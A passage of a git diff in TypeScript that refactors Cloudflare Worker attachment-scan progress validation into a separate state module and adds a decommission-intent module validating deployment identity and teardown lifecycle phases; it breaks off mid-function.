record.pageItemCount || + record.dispatchEvidenceCount !== + record.totalDispatchItems - + record.pageItemCount + + (record.itemOffset as number) || + seen.length !== + record.pageNumber + (record.nextCursor === undefined ? 0 : 1) || + !validPageStart(record.pageNumber, record.pageStartCursor, seen) || + common.evidenceCount < record.namespaceIndex + 2 || + (record.pageNumber === 0 && + record.totalDispatchItems !== record.pageItemCount) || + (record.pageNumber === WORKER_ATTACHMENT_DISPATCH_PAGE_BOUND - 1 && + record.nextCursor !== undefined) || + (typeof record.nextCursor === 'string' && + seen.at(-1) !== sha256(record.nextCursor)) + ) { + return malformed(); + } + return { + ...common, + stage: record.stage, + ordinaryInventorySha256: record.ordinaryInventorySha256, + namespaceInventorySha256: record.namespaceInventorySha256, + namespaceIndex: record.namespaceIndex, + namespaceName: record.namespaceName, + ...(typeof record.pageStartCursor === 'string' + ? { pageStartCursor: record.pageStartCursor } + : {}), + ...(typeof record.nextCursor === 'string' + ? { nextCursor: record.nextCursor } + : {}), + pageSha256: record.pageSha256, + pageItemCount: record.pageItemCount, + itemOffset: record.itemOffset, + pageNumber: record.pageNumber, + seenCursorSha256: seen, + totalDispatchItems: record.totalDispatchItems, + dispatchEvidenceSum256: record.dispatchEvidenceSum256, + dispatchEvidenceCount: record.dispatchEvidenceCount, + }; + } + default: + return malformed(); + } +} + +export function initialWorkerAttachmentScan( + target: WorkerAttachmentScanTarget, +): WorkerAttachmentScanProgress { + const parsedTarget = parseTarget(normalized(target)); + if (!parsedTarget) throw new CloudflareAttachmentScanProgressError(); + return { + version: 1, + target: parsedTarget, + stage: 'ordinary-script-inventory', + evidenceSha256: initialEvidence(parsedTarget), + evidenceCount: 0, + scriptIndex: 0, + }; +} diff --git a/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts b/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts index 11c49985..25233292 100644 --- a/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts +++ b/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts @@ -7,116 +7,37 @@ import { } from './cloudflare-client-config.js'; import type { CloudflareSdk } from './cloudflare-ordinary-worker-operations.js'; import { isNotFound } from './cloudflare-provider-errors.js'; - -const DISPATCH_PAGE_SIZE = 100; -const DISPATCH_PAGE_BOUND = 100; -const PROGRESS_BYTE_BOUND = 65_536; -const CURSOR_BYTE_BOUND = 4_096; -const EVIDENCE_BOUND = 1_000_000; -const PLAIN_DATA_DEPTH_BOUND = 64; -const PLAIN_DATA_NODE_BOUND = 8_192; -const SHA256_PATTERN = /^[0-9a-f]{64}$/; -const EMPTY_MULTISET_SUM256 = '0'.repeat(64); - -export type WorkerAttachmentScanTarget = - | Readonly<{ kind: 'd1'; databaseId: string }> - | Readonly<{ kind: 'r2'; bucketName: string }>; - -export interface WorkerAttachment { - readonly scriptName: string; - readonly plane: 'ordinary' | 'dispatch'; - readonly dispatchNamespace?: string; -} - -interface ScanCommon { - readonly version: 1; - readonly target: WorkerAttachmentScanTarget; - readonly evidenceSha256: string; - readonly evidenceCount: number; -} - -export type WorkerAttachmentScanProgress = - | (ScanCommon & - Readonly<{ - stage: 'ordinary-script-inventory'; - ordinaryInventorySha256?: string; - scriptIndex: number; - }>) - | (ScanCommon & - Readonly<{ - stage: 'ordinary-deployment'; - ordinaryInventorySha256: string; - scriptIndex: number; - scriptName: string; - }>) - | (ScanCommon & - Readonly<{ - stage: 'ordinary-version'; - ordinaryInventorySha256: string; - scriptIndex: number; - scriptName: string; - deploymentSha256: string; - versionIndex: number; - }>) - | (ScanCommon & - Readonly<{ - stage: 'dispatch-namespace-inventory'; - ordinaryInventorySha256: string; - namespaceInventorySha256?: string; - namespaceIndex: number; - }>) - | (ScanCommon & - Readonly<{ - stage: 'dispatch-script-page'; - ordinaryInventorySha256: string; - namespaceInventorySha256: string; - namespaceIndex: number; - namespaceName: string; - pageStartCursor?: string; - pageNumber: number; - seenCursorSha256: readonly string[]; - totalDispatchItems: number; - dispatchEvidenceSum256: string; - dispatchEvidenceCount: number; - }>) - | (ScanCommon & - Readonly<{ - stage: 'dispatch-script-settings'; - ordinaryInventorySha256: string; - namespaceInventorySha256: string; - namespaceIndex: number; - namespaceName: string; - pageStartCursor?: string; - nextCursor?: string; - pageSha256: string; - pageItemCount: number; - itemOffset: number; - pageNumber: number; - seenCursorSha256: readonly string[]; - totalDispatchItems: number; - dispatchEvidenceSum256: string; - dispatchEvidenceCount: number; - }>); - -export type WorkerAttachmentScanChunk = - | Readonly<{ - status: 'pending'; - progress: WorkerAttachmentScanProgress; - attachments: readonly WorkerAttachment[]; - providerFetchAttemptsReserved: number; - }> - | Readonly<{ - status: 'attached'; - attachment: WorkerAttachment; - providerFetchAttemptsReserved: number; - }> - | Readonly<{ - status: 'complete'; - evidenceSha256: string; - evidenceCount: number; - attachments: readonly WorkerAttachment[]; - providerFetchAttemptsReserved: number; - }>; +import { + initialWorkerAttachmentScan, + parseWorkerAttachmentScanProgress, + WORKER_ATTACHMENT_CURSOR_BYTE_BOUND, + WORKER_ATTACHMENT_DISPATCH_PAGE_BOUND, + WORKER_ATTACHMENT_DISPATCH_PAGE_SIZE, + WORKER_ATTACHMENT_EMPTY_MULTISET_SUM256, + WORKER_ATTACHMENT_EVIDENCE_BOUND, + type WorkerAttachment, + type WorkerAttachmentScanChunk, + type WorkerAttachmentScanInput, + type WorkerAttachmentScanProgress, + type WorkerAttachmentScanTarget, +} from './cloudflare-worker-attachment-scan-state.js'; + +export { + CloudflareAttachmentScanProgressError, + initialWorkerAttachmentScan, + parseWorkerAttachmentScanProgress, + type WorkerAttachment, + type WorkerAttachmentScanChunk, + type WorkerAttachmentScanInput, + type WorkerAttachmentScanProgress, + type WorkerAttachmentScanTarget, +} from './cloudflare-worker-attachment-scan-state.js'; + +const DISPATCH_PAGE_SIZE = WORKER_ATTACHMENT_DISPATCH_PAGE_SIZE; +const DISPATCH_PAGE_BOUND = WORKER_ATTACHMENT_DISPATCH_PAGE_BOUND; +const CURSOR_BYTE_BOUND = WORKER_ATTACHMENT_CURSOR_BYTE_BOUND; +const EVIDENCE_BOUND = WORKER_ATTACHMENT_EVIDENCE_BOUND; +const EMPTY_MULTISET_SUM256 = WORKER_ATTACHMENT_EMPTY_MULTISET_SUM256; export interface DispatchScriptPageInput { readonly namespace: string; @@ -125,14 +46,6 @@ export interface DispatchScriptPageInput { readonly signal?: AbortSignal; } -export interface WorkerAttachmentScanInput { - readonly target: WorkerAttachmentScanTarget; - readonly progress: WorkerAttachmentScanProgress; - readonly maxProviderRequests: number; - readonly signal?: AbortSignal; - readonly stopOnFirstAttachment?: boolean; -} - export interface CloudflareWorkerAttachmentScanContext { readonly accountId: string; readonly client: CloudflareSdk; @@ -185,13 +98,6 @@ class ProviderFetchBudget { } } -export class CloudflareAttachmentScanProgressError extends Error { - constructor() { - super('Cloudflare attachment scan progress is malformed'); - this.name = 'CloudflareAttachmentScanProgressError'; - } -} - export class CloudflareAttachmentScanDriftError extends Error { constructor() { super('Cloudflare attachment inventory changed during a resumable scan'); @@ -203,21 +109,11 @@ function sha256(value: string): string { return createHash('sha256').update(value).digest('hex'); } -function targetValue(target: WorkerAttachmentScanTarget): string { - return target.kind === 'd1' ? target.databaseId : target.bucketName; -} - -function initialEvidence(target: WorkerAttachmentScanTarget): string { - return sha256( - JSON.stringify(['attachment-scan-v1', target.kind, targetValue(target)]), - ); -} - function addEvidence( progress: WorkerAttachmentScanProgress, leaf: readonly unknown[], observationCount = 1, -): Pick { +): Pick { if ( !safeInteger(observationCount, EVIDENCE_BOUND) || progress.evidenceCount + observationCount > EVIDENCE_BOUND @@ -266,195 +162,6 @@ function plainRecord(value: unknown): Record | undefined { } } -function plainArray(value: unknown): readonly unknown[] | undefined { - try { - if (!Array.isArray(value)) return undefined; - if (Object.getPrototypeOf(value) !== Array.prototype) return undefined; - const keys = Reflect.ownKeys(value); - const lengthDescriptor = Object.getOwnPropertyDescriptor(value, 'length'); - const length = - lengthDescriptor && 'value' in lengthDescriptor - ? lengthDescriptor.value - : undefined; - if ( - !Number.isSafeInteger(length) || - Number(length) < 0 || - lengthDescriptor?.enumerable !== false || - keys.length !== Number(length) + 1 || - !keys.includes('length') || - keys.some((key) => typeof key !== 'string') - ) { - return undefined; - } - const array: unknown[] = []; - for (let index = 0; index < Number(length); index += 1) { - const descriptor = Object.getOwnPropertyDescriptor(value, String(index)); - if (!descriptor || !('value' in descriptor) || !descriptor.enumerable) { - return undefined; - } - array.push(descriptor.value); - } - return array; - } catch { - return undefined; - } -} - -type PlainData = - | null - | boolean - | number - | string - | PlainDataArray - | PlainDataMap; - -interface PlainDataArray extends ReadonlyArray {} - -interface PlainDataMap { - readonly [key: string]: PlainData; -} - -interface PlainDataBudget { - nodes: number; - scalarUtf8Bytes: number; -} - -type PlainDataResult = - | Readonly<{ valid: true; value: PlainData }> - | Readonly<{ valid: false }>; - -function chargePlainDataScalar( - budget: PlainDataBudget, - value: null | boolean | number | string, -): boolean { - if ( - typeof value === 'string' && - value.length > PROGRESS_BYTE_BOUND - budget.scalarUtf8Bytes - ) { - return false; - } - const serialized = JSON.stringify(value); - budget.scalarUtf8Bytes += utf8Length(serialized); - return budget.scalarUtf8Bytes <= PROGRESS_BYTE_BOUND; -} - -function clonePlainData( - value: unknown, - ancestors = new Set(), - depth = 0, - budget: PlainDataBudget = { nodes: 0, scalarUtf8Bytes: 0 }, -): PlainDataResult { - budget.nodes += 1; - if (depth > PLAIN_DATA_DEPTH_BOUND || budget.nodes > PLAIN_DATA_NODE_BOUND) { - return { valid: false }; - } - if ( - value === null || - typeof value === 'string' || - typeof value === 'boolean' || - (typeof value === 'number' && Number.isFinite(value)) - ) { - return chargePlainDataScalar(budget, value) - ? ({ valid: true, value } as PlainDataResult) - : { valid: false }; - } - if (typeof value !== 'object') return { valid: false }; - if (ancestors.has(value)) return { valid: false }; - ancestors.add(value); - try { - if (Array.isArray(value)) { - if (Object.getPrototypeOf(value) !== Array.prototype) { - return { valid: false }; - } - const lengthDescriptor = Object.getOwnPropertyDescriptor(value, 'length'); - const length = - lengthDescriptor && 'value' in lengthDescriptor - ? lengthDescriptor.value - : undefined; - if ( - !Number.isSafeInteger(length) || - Number(length) < 0 || - lengthDescriptor?.enumerable !== false || - Number(length) > PLAIN_DATA_NODE_BOUND - budget.nodes - ) { - return { valid: false }; - } - const keys = Reflect.ownKeys(value); - if ( - keys.length !== Number(length) + 1 || - !keys.includes('length') || - keys.some((key) => typeof key !== 'string') - ) { - return { valid: false }; - } - const cloned: PlainData[] = []; - for (let index = 0; index < Number(length); index += 1) { - const descriptor = Object.getOwnPropertyDescriptor( - value, - String(index), - ); - if (!descriptor || !('value' in descriptor) || !descriptor.enumerable) { - return { valid: false }; - } - const result = clonePlainData( - descriptor.value, - ancestors, - depth + 1, - budget, - ); - if (!result.valid) return result; - cloned.push(result.value); - } - return { valid: true, value: cloned }; - } - const prototype = Object.getPrototypeOf(value); - if (prototype !== Object.prototype && prototype !== null) { - return { valid: false }; - } - const keys = Reflect.ownKeys(value); - if (keys.length > PLAIN_DATA_NODE_BOUND - budget.nodes) { - return { valid: false }; - } - const cloned = Object.create(null) as Record; - for (const key of keys) { - if (typeof key !== 'string' || !chargePlainDataScalar(budget, key)) { - return { valid: false }; - } - const descriptor = Object.getOwnPropertyDescriptor(value, key); - if (!descriptor || !('value' in descriptor) || !descriptor.enumerable) { - return { valid: false }; - } - const result = clonePlainData( - descriptor.value, - ancestors, - depth + 1, - budget, - ); - if (!result.valid) return result; - cloned[key] = result.value; - } - return { valid: true, value: cloned }; - } finally { - ancestors.delete(value); - } -} - -function exactKeys( - value: Record, - required: readonly string[], - optional: readonly string[] = [], -): boolean { - const keys = Object.keys(value).sort(); - const allowed = [...required, ...optional].sort(); - return ( - required.every((key) => Object.hasOwn(value, key)) && - keys.length === - allowed.length - - optional.filter((key) => !Object.hasOwn(value, key)).length && - keys.every((key) => allowed.includes(key)) - ); -} - function safeInteger( value: unknown, maximum = Number.MAX_SAFE_INTEGER, @@ -466,10 +173,6 @@ function safeInteger( ); } -function hash(value: unknown): value is string { - return typeof value === 'string' && SHA256_PATTERN.test(value); -} - function boundedString( value: unknown, options: { readonly allowEmpty?: boolean } = {}, @@ -481,388 +184,10 @@ function boundedString( ); } -function parseTarget(value: unknown): WorkerAttachmentScanTarget | undefined { - const record = plainRecord(value); - if (!record || typeof record.kind !== 'string') return undefined; - if ( - record.kind === 'd1' && - exactKeys(record, ['kind', 'databaseId']) && - boundedString(record.databaseId) - ) { - return { kind: 'd1', databaseId: record.databaseId }; - } - if ( - record.kind === 'r2' && - exactKeys(record, ['kind', 'bucketName']) && - boundedString(record.bucketName) - ) { - return { kind: 'r2', bucketName: record.bucketName }; - } - return undefined; -} - -function sameTarget( - left: WorkerAttachmentScanTarget, - right: WorkerAttachmentScanTarget, -): boolean { - return left.kind === right.kind && targetValue(left) === targetValue(right); -} - -const COMMON_KEYS = [ - 'version', - 'target', - 'stage', - 'evidenceSha256', - 'evidenceCount', -] as const; - -function parseCommon( - record: Record, - target: WorkerAttachmentScanTarget, -): ScanCommon | undefined { - const parsedTarget = parseTarget(record.target); - if ( - record.version !== 1 || - !parsedTarget || - !sameTarget(parsedTarget, target) || - !hash(record.evidenceSha256) || - !safeInteger(record.evidenceCount, EVIDENCE_BOUND) - ) { - return undefined; - } - return { - version: 1, - target: parsedTarget, - evidenceSha256: record.evidenceSha256, - evidenceCount: record.evidenceCount, - }; -} - -function cursorHashes(value: unknown): readonly string[] | undefined { - const array = plainArray(value); - if ( - !array || - array.length > DISPATCH_PAGE_BOUND || - !array.every(hash) || - new Set(array).size !== array.length - ) { - return undefined; - } - return [...array] as string[]; -} - function codeUnitCompare(left: string, right: string): number { return left < right ? -1 : left > right ? 1 : 0; } -function validPageStart( - pageNumber: number, - pageStartCursor: unknown, - seenCursorSha256: readonly string[], -): boolean { - if (pageNumber === 0) { - return pageStartCursor === undefined; - } - return ( - typeof pageStartCursor === 'string' && - seenCursorSha256[pageNumber - 1] === sha256(pageStartCursor) - ); -} - -export function parseWorkerAttachmentScanProgress( - value: unknown, - target: WorkerAttachmentScanTarget, -): WorkerAttachmentScanProgress { - let plain: PlainDataResult; - try { - plain = clonePlainData(value); - if ( - !plain.valid || - utf8Length(JSON.stringify(plain.value)) > PROGRESS_BYTE_BOUND - ) { - throw new CloudflareAttachmentScanProgressError(); - } - } catch (error) { - if (error instanceof CloudflareAttachmentScanProgressError) throw error; - throw new CloudflareAttachmentScanProgressError(); - } - const record = plainRecord(plain.value); - if (!record || typeof record.stage !== 'string') { - throw new CloudflareAttachmentScanProgressError(); - } - const common = parseCommon(record, target); - if (!common) throw new CloudflareAttachmentScanProgressError(); - - const malformed = (): never => { - throw new CloudflareAttachmentScanProgressError(); - }; - switch (record.stage) { - case 'ordinary-script-inventory': { - if ( - !exactKeys( - record, - [...COMMON_KEYS, 'scriptIndex'], - ['ordinaryInventorySha256'], - ) || - !safeInteger(record.scriptIndex, CLOUDFLARE_INVENTORY_BOUND) || - record.ordinaryInventorySha256 !== undefined || - record.scriptIndex !== 0 || - common.evidenceCount !== 0 || - common.evidenceSha256 !== initialEvidence(common.target) - ) { - return malformed(); - } - return { - ...common, - stage: record.stage, - scriptIndex: record.scriptIndex, - ...(typeof record.ordinaryInventorySha256 === 'string' - ? { ordinaryInventorySha256: record.ordinaryInventorySha256 } - : {}), - }; - } - case 'ordinary-deployment': { - if ( - !exactKeys(record, [ - ...COMMON_KEYS, - 'ordinaryInventorySha256', - 'scriptIndex', - 'scriptName', - ]) || - !hash(record.ordinaryInventorySha256) || - !safeInteger(record.scriptIndex, CLOUDFLARE_INVENTORY_BOUND) || - !boundedString(record.scriptName) || - common.evidenceCount < record.scriptIndex + 1 - ) { - return malformed(); - } - return { - ...common, - stage: record.stage, - ordinaryInventorySha256: record.ordinaryInventorySha256, - scriptIndex: record.scriptIndex, - scriptName: record.scriptName, - }; - } - case 'ordinary-version': { - if ( - !exactKeys(record, [ - ...COMMON_KEYS, - 'ordinaryInventorySha256', - 'scriptIndex', - 'scriptName', - 'deploymentSha256', - 'versionIndex', - ]) || - !hash(record.ordinaryInventorySha256) || - !safeInteger(record.scriptIndex, CLOUDFLARE_INVENTORY_BOUND) || - !boundedString(record.scriptName) || - !hash(record.deploymentSha256) || - !safeInteger(record.versionIndex, CLOUDFLARE_INVENTORY_BOUND) || - common.evidenceCount < record.scriptIndex + record.versionIndex + 2 - ) { - return malformed(); - } - return { - ...common, - stage: record.stage, - ordinaryInventorySha256: record.ordinaryInventorySha256, - scriptIndex: record.scriptIndex, - scriptName: record.scriptName, - deploymentSha256: record.deploymentSha256, - versionIndex: record.versionIndex, - }; - } - case 'dispatch-namespace-inventory': { - if ( - !exactKeys( - record, - [...COMMON_KEYS, 'ordinaryInventorySha256', 'namespaceIndex'], - ['namespaceInventorySha256'], - ) || - !hash(record.ordinaryInventorySha256) || - !safeInteger(record.namespaceIndex, CLOUDFLARE_INVENTORY_BOUND) || - record.namespaceInventorySha256 !== undefined || - record.namespaceIndex !== 0 || - common.evidenceCount < 1 - ) { - return malformed(); - } - return { - ...common, - stage: record.stage, - ordinaryInventorySha256: record.ordinaryInventorySha256, - namespaceIndex: record.namespaceIndex, - ...(typeof record.namespaceInventorySha256 === 'string' - ? { namespaceInventorySha256: record.namespaceInventorySha256 } - : {}), - }; - } - case 'dispatch-script-page': { - const seen = cursorHashes(record.seenCursorSha256); - if ( - !exactKeys( - record, - [ - ...COMMON_KEYS, - 'ordinaryInventorySha256', - 'namespaceInventorySha256', - 'namespaceIndex', - 'namespaceName', - 'pageNumber', - 'seenCursorSha256', - 'totalDispatchItems', - 'dispatchEvidenceSum256', - 'dispatchEvidenceCount', - ], - ['pageStartCursor'], - ) || - !hash(record.ordinaryInventorySha256) || - !hash(record.namespaceInventorySha256) || - !safeInteger(record.namespaceIndex, CLOUDFLARE_INVENTORY_BOUND) || - !boundedString(record.namespaceName) || - (record.pageStartCursor !== undefined && - !boundedString(record.pageStartCursor)) || - !safeInteger(record.pageNumber, DISPATCH_PAGE_BOUND - 1) || - !seen || - !safeInteger(record.totalDispatchItems, CLOUDFLARE_INVENTORY_BOUND) || - !hash(record.dispatchEvidenceSum256) || - !safeInteger( - record.dispatchEvidenceCount, - CLOUDFLARE_INVENTORY_BOUND, - ) || - record.dispatchEvidenceCount !== record.totalDispatchItems || - (record.dispatchEvidenceCount === 0 && - record.dispatchEvidenceSum256 !== EMPTY_MULTISET_SUM256) || - seen.length !== record.pageNumber || - !validPageStart(record.pageNumber, record.pageStartCursor, seen) || - common.evidenceCount < record.namespaceIndex + 2 || - (record.pageNumber === 0 && record.totalDispatchItems !== 0) - ) { - return malformed(); - } - return { - ...common, - stage: record.stage, - ordinaryInventorySha256: record.ordinaryInventorySha256, - namespaceInventorySha256: record.namespaceInventorySha256, - namespaceIndex: record.namespaceIndex, - namespaceName: record.namespaceName, - ...(typeof record.pageStartCursor === 'string' - ? { pageStartCursor: record.pageStartCursor } - : {}), - pageNumber: record.pageNumber, - seenCursorSha256: seen, - totalDispatchItems: record.totalDispatchItems, - dispatchEvidenceSum256: record.dispatchEvidenceSum256, - dispatchEvidenceCount: record.dispatchEvidenceCount, - }; - } - case 'dispatch-script-settings': { - const seen = cursorHashes(record.seenCursorSha256); - if ( - !exactKeys( - record, - [ - ...COMMON_KEYS, - 'ordinaryInventorySha256', - 'namespaceInventorySha256', - 'namespaceIndex', - 'namespaceName', - 'pageSha256', - 'pageItemCount', - 'itemOffset', - 'pageNumber', - 'seenCursorSha256', - 'totalDispatchItems', - 'dispatchEvidenceSum256', - 'dispatchEvidenceCount', - ], - ['pageStartCursor', 'nextCursor'], - ) || - !hash(record.ordinaryInventorySha256) || - !hash(record.namespaceInventorySha256) || - !safeInteger(record.namespaceIndex, CLOUDFLARE_INVENTORY_BOUND) || - !boundedString(record.namespaceName) || - (record.pageStartCursor !== undefined && - !boundedString(record.pageStartCursor)) || - (record.nextCursor !== undefined && - !boundedString(record.nextCursor)) || - !hash(record.pageSha256) || - !safeInteger(record.pageItemCount, DISPATCH_PAGE_SIZE) || - record.pageItemCount === 0 || - !safeInteger(record.itemOffset, record.pageItemCount as number) || - !safeInteger(record.pageNumber, DISPATCH_PAGE_BOUND - 1) || - !seen || - !safeInteger(record.totalDispatchItems, CLOUDFLARE_INVENTORY_BOUND) || - !hash(record.dispatchEvidenceSum256) || - !safeInteger( - record.dispatchEvidenceCount, - CLOUDFLARE_INVENTORY_BOUND, - ) || - (record.dispatchEvidenceCount === 0 && - record.dispatchEvidenceSum256 !== EMPTY_MULTISET_SUM256) || - record.totalDispatchItems < record.pageItemCount || - record.dispatchEvidenceCount !== - record.totalDispatchItems - - record.pageItemCount + - (record.itemOffset as number) || - seen.length !== - record.pageNumber + (record.nextCursor === undefined ? 0 : 1) || - !validPageStart(record.pageNumber, record.pageStartCursor, seen) || - common.evidenceCount < record.namespaceIndex + 2 || - (record.pageNumber === 0 && - record.totalDispatchItems !== record.pageItemCount) || - (record.pageNumber === DISPATCH_PAGE_BOUND - 1 && - record.nextCursor !== undefined) || - (typeof record.nextCursor === 'string' && - seen.at(-1) !== sha256(record.nextCursor)) - ) { - return malformed(); - } - return { - ...common, - stage: record.stage, - ordinaryInventorySha256: record.ordinaryInventorySha256, - namespaceInventorySha256: record.namespaceInventorySha256, - namespaceIndex: record.namespaceIndex, - namespaceName: record.namespaceName, - ...(typeof record.pageStartCursor === 'string' - ? { pageStartCursor: record.pageStartCursor } - : {}), - ...(typeof record.nextCursor === 'string' - ? { nextCursor: record.nextCursor } - : {}), - pageSha256: record.pageSha256, - pageItemCount: record.pageItemCount, - itemOffset: record.itemOffset, - pageNumber: record.pageNumber, - seenCursorSha256: seen, - totalDispatchItems: record.totalDispatchItems, - dispatchEvidenceSum256: record.dispatchEvidenceSum256, - dispatchEvidenceCount: record.dispatchEvidenceCount, - }; - } - default: - return malformed(); - } -} - -export function initialWorkerAttachmentScan( - target: WorkerAttachmentScanTarget, -): WorkerAttachmentScanProgress { - const parsedTarget = parseTarget(target); - if (!parsedTarget) throw new CloudflareAttachmentScanProgressError(); - return { - version: 1, - target: parsedTarget, - stage: 'ordinary-script-inventory', - evidenceSha256: initialEvidence(parsedTarget), - evidenceCount: 0, - scriptIndex: 0, - }; -} - function inventoryBoundExceeded(label: string, max: number): Error { return new Error( `${label} exceeded the supported inventory bound of ${max} items`, @@ -1308,6 +633,13 @@ function ordinaryDigest(scripts: readonly string[]): string { return sha256(JSON.stringify(scripts)); } +type ScanCommon = Readonly<{ + version: 1; + target: WorkerAttachmentScanTarget; + evidenceSha256: string; + evidenceCount: number; +}>; + function nextCommon( progress: WorkerAttachmentScanProgress, evidence?: Pick, diff --git a/packages/fleet-control/src/decommission-intent.ts b/packages/fleet-control/src/decommission-intent.ts new file mode 100644 index 00000000..3e7c5030 --- /dev/null +++ b/packages/fleet-control/src/decommission-intent.ts @@ -0,0 +1,662 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { + parseWorkerAttachmentScanProgress, + WORKER_ATTACHMENT_EVIDENCE_BOUND, + type WorkerAttachmentScanTarget, +} from './cloudflare-worker-attachment-scan-state.js'; +import { cloneBoundedPlainData } from './strict-plain-data.js'; +import type { + DecommissionAdvanceIntent, + DecommissionAdvanceToken, + DecommissionAdvanceTokenClassification, + DecommissionAttachmentProgress, + DecommissionAttachmentPurpose, + DecommissionBlockedAttachment, + DecommissionIntentCommon, + DecommissionOperationIdentity, + DecommissionRecordIdentity, + FleetRecord, + NormalDecommissionLifecyclePhase, +} from './types.js'; + +export const DECOMMISSION_INTENT_BYTE_BOUND = 96 * 1024; +const TOKEN_BYTE_BOUND = 1024; +const STRING_BYTE_BOUND = 4096; +const DEPTH_BOUND = 64; +const NODE_BOUND = 8192; +const SHA256 = /^[0-9a-f]{64}$/u; +const UUID_V4 = + /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/u; + +const INITIAL_PHASES = new Set([ + 'publishing', + 'ready', + 'migrating', + 'rolling-back', +]); +const TEARDOWN_PHASES = [ + 'decommissioning', + 'traffic-removed', + 'credentials-revoked', + 'worker-deleted', + 'platform-credentials-revoked', + 'platform-resources-deleted', + 'application-resources-deleting', + 'application-resources-deleted', + 'database-exported', + 'database-deleting', +] as const satisfies readonly NormalDecommissionLifecyclePhase[]; +const LIFECYCLE_PHASES = new Set([ + ...INITIAL_PHASES, + ...TEARDOWN_PHASES, +]); + +export class DecommissionAdvanceIntentError extends Error { + constructor() { + super('decommission advance intent is malformed'); + this.name = 'DecommissionAdvanceIntentError'; + } +} + +export class DecommissionAdvanceTokenError extends Error { + constructor() { + super('decommission advance token is malformed'); + this.name = 'DecommissionAdvanceTokenError'; + } +} + +export class DecommissionAdvanceTokenFutureError extends Error { + constructor() { + super('decommission advance token is from the future'); + this.name = 'DecommissionAdvanceTokenFutureError'; + } +} + +export class DecommissionAdvanceTokenDeploymentError extends Error { + constructor() { + super('decommission advance token targets another deployment'); + this.name = 'DecommissionAdvanceTokenDeploymentError'; + } +} + +export class DecommissionAdvanceTokenOperationError extends Error { + constructor() { + super('decommission advance token targets another operation'); + this.name = 'DecommissionAdvanceTokenOperationError'; + } +} + +function malformed(): never { + throw new DecommissionAdvanceIntentError(); +} + +function record(value: unknown): Record { + if (!value || typeof value !== 'object' || Array.isArray(value)) { + return malformed(); + } + return value as Record; +} + +function exactKeys( + value: Record, + required: readonly string[], +): void { + const keys = Object.keys(value).sort(); + const expected = [...required].sort(); + if ( + keys.length !== expected.length || + keys.some((key, index) => key !== expected[index]) + ) { + malformed(); + } +} + +function boundedString(value: unknown): value is string { + return ( + typeof value === 'string' && + value.length > 0 && + value.length <= STRING_BYTE_BOUND && + new TextEncoder().encode(value).byteLength <= STRING_BYTE_BOUND + ); +} + +function safeInteger(value: unknown, minimum = 0): value is number { + return Number.isSafeInteger(value) && Number(value) >= minimum; +} + +function sha256(value: unknown): value is string { + return typeof value === 'string' && SHA256.test(value); +} + +function canonicalIso(value: unknown): value is string { + return ( + typeof value === 'string' && + Number.isFinite(Date.parse(value)) && + new Date(value).toISOString() === value + ); +} + +function parseRecordIdentity( + value: unknown, + source: FleetRecord, +): DecommissionRecordIdentity { + const candidate = record(value); + exactKeys(candidate, [ + 'tenantTag', + 'environment', + 'backend', + 'scriptName', + 'databaseId', + 'databaseName', + 'routeHostname', + ]); + const identity = { + tenantTag: candidate.tenantTag, + environment: candidate.environment, + backend: candidate.backend, + scriptName: candidate.scriptName, + databaseId: candidate.databaseId, + databaseName: candidate.databaseName, + routeHostname: candidate.routeHostname, + }; + if ( + !boundedString(identity.tenantTag) || + !boundedString(identity.environment) || + (identity.backend !== 'plain-worker' && + identity.backend !== 'workers-for-platforms') || + !boundedString(identity.scriptName) || + !boundedString(identity.databaseId) || + !boundedString(identity.databaseName) || + !boundedString(identity.routeHostname) || + identity.tenantTag !== source.tenantTag || + identity.environment !== source.environment || + identity.backend !== source.backend || + identity.scriptName !== source.scriptName || + identity.databaseId !== source.databaseId || + identity.databaseName !== source.databaseName || + identity.routeHostname !== source.routeHostname + ) { + return malformed(); + } + return identity as DecommissionRecordIdentity; +} + +function parseLifecyclePhase(value: unknown): NormalDecommissionLifecyclePhase { + if ( + typeof value !== 'string' || + !LIFECYCLE_PHASES.has(value as NormalDecommissionLifecyclePhase) + ) { + return malformed(); + } + return value as NormalDecommissionLifecyclePhase; +} + +function reachesLifecyclePhase( + entry: NormalDecommissionLifecyclePhase, + current: NormalDecommissionLifecyclePhase, +): boolean { + if (INITIAL_PHASES.has(entry)) { + return entry === current || TEARDOWN_PHASES.includes(current as never); + } + const entryIndex = TEARDOWN_PHASES.indexOf(entry as never); + const currentIndex = TEARDOWN_PHASES.indexOf(current as never); + return entryIndex >= 0 && currentIndex >= entryIndex; +} + +function migrationCarrier( + source: FleetRecord, +): Readonly<{ digest: string; present: boolean }> | undefined { + if (source.migrationIntent) { + if ( + source.backend !== 'workers-for-platforms' || + (source.pendingSpecDigest !== undefined && + source.pendingSpecDigest !== source.migrationIntent.targetSpecDigest) || + source.pendingArtifactVersion !== undefined + ) { + return undefined; + } + return { digest: source.migrationIntent.targetSpecDigest, present: true }; + } + if (source.pendingSpecDigest !== undefined) { + if ( + source.backend !== 'plain-worker' || + !sha256(source.pendingSpecDigest) || + (source.pendingArtifactVersion !== undefined && + (typeof source.pendingArtifactVersion !== 'string' || + source.pendingArtifactVersion.length === 0 || + source.pendingArtifactVersion === 'pending')) + ) { + return undefined; + } + return { digest: source.pendingSpecDigest, present: true }; + } + if (source.pendingArtifactVersion !== undefined) return undefined; + return { digest: source.desiredSpecDigest, present: false }; +} + +function parseIdentity( + value: unknown, + source: FleetRecord, + lifecyclePhase: NormalDecommissionLifecyclePhase | 'decommissioned', +): DecommissionOperationIdentity { + const candidate = record(value); + exactKeys(candidate, ['record', 'mode']); + const stored = parseRecordIdentity(candidate.record, source); + const mode = record(candidate.mode); + if (mode.kind === 'backend-switch') return malformed(); + exactKeys(mode, ['kind', 'requestedSpecDigest', 'entryLifecyclePhase']); + if ( + mode.kind !== 'normal' || + !sha256(mode.requestedSpecDigest) || + source.backendSwitchIntent !== undefined + ) { + return malformed(); + } + const entry = parseLifecyclePhase(mode.entryLifecyclePhase); + const carrier = migrationCarrier(source); + if ( + (lifecyclePhase !== 'decommissioned' && + !reachesLifecyclePhase(entry, lifecyclePhase)) || + !carrier || + (entry === 'migrating' && mode.requestedSpecDigest !== carrier.digest) || + (entry === 'migrating' && + ((carrier.present && lifecyclePhase !== 'migrating') || + (!carrier.present && lifecyclePhase === 